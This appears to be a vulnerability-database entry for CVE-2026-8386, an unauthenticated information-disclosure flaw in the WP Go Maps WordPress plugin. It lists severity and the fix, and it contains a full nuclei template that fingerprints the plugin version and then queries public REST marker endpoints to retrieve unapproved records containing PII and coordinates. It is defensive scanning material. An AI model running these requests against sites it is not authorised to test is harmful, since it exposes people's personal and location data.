WP Go Maps < 10.0.10 - Unauthenticated Marker Information Disclosure

mediumseverity

5.3CVSS score

0.7%likelihood of exploitation, next 30 days

54%of all CVEs are less likely

Readycheck to confirm it

WP Go Maps WordPress plugin <10.0.10 contains an information disclosure vulnerability caused by lack of approval-state filtering on the public single-marker REST endpoint, letting unauthenticated users access unapproved marker records including PII and geographic coordinates, exploit requires no authentication.

Impact

Unauthenticated users can access sensitive unapproved marker data including PII and location coordinates.

Fix

Upgrade to version 10.0.10 or later.

How to confirm it

Send: GET /wp-content/plugins/wp-google-maps/readme.txt
Positive when: status_code == 200 and contains(body, "WP Go Maps") || contains(body, "WP Google Maps") and compare_versions(lsversion, ">=1.0.0", "<=10.0.9")
Send: GET {{BaseURL}}/?rest_route=/wpgmza/v1/markers/1/ ; GET {{BaseURL}}/?rest_route=/wpgmza/v1/markers/2/ ; GET {{BaseURL}}/?rest_route=/wpgmza/v1/markers/3/
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "approved", "lat", "lng", "map_id")

Run it with nuclei: nuclei -id CVE-2026-8386 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-8386

info:
  name: WP Go Maps < 10.0.10 - Unauthenticated Marker Information Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
   WP Go Maps WordPress plugin <10.0.10 contains an information disclosure vulnerability caused by lack of approval-state filtering on the public single-marker REST endpoint, letting unauthenticated users access unapproved marker records including PII and geographic coordinates, exploit requires no authentication.
  impact: |
    Unauthenticated users can access sensitive unapproved marker data including PII and location coordinates.
  remediation: |
    Upgrade to version 10.0.10 or later.
  reference:
    - https://wpscan.com/vulnerability/fa7f5cb0-abe2-4079-9290-e0e4dc89f27f/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8386
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-8386
    epss-score: 0.007
    epss-percentile: 0.535
    cwe-id: CWE-862
  metadata:
    verified: false
    max-request: 4
    fofa-query: body="/wp-content/plugins/wp-google-maps/"
    tags: cve,cve2026,wordpress,wp-plugin,wp-google-maps,disclosure,unauth,rest-api

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-google-maps/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "WP Go Maps") || contains(body, "WP Google Maps")'
          - 'compare_versions(lsversion, ">=1.0.0", "<=10.0.9")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lsversion
        internal: true
        group: 1
        regex:
          - 'Stable tag: ([\d.]+)'

  - method: GET
    path:
      - "{{BaseURL}}/?rest_route=/wpgmza/v1/markers/1/"
      - "{{BaseURL}}/?rest_route=/wpgmza/v1/markers/2/"
      - "{{BaseURL}}/?rest_route=/wpgmza/v1/markers/3/"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "approved", "lat", "lng", "map_id")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from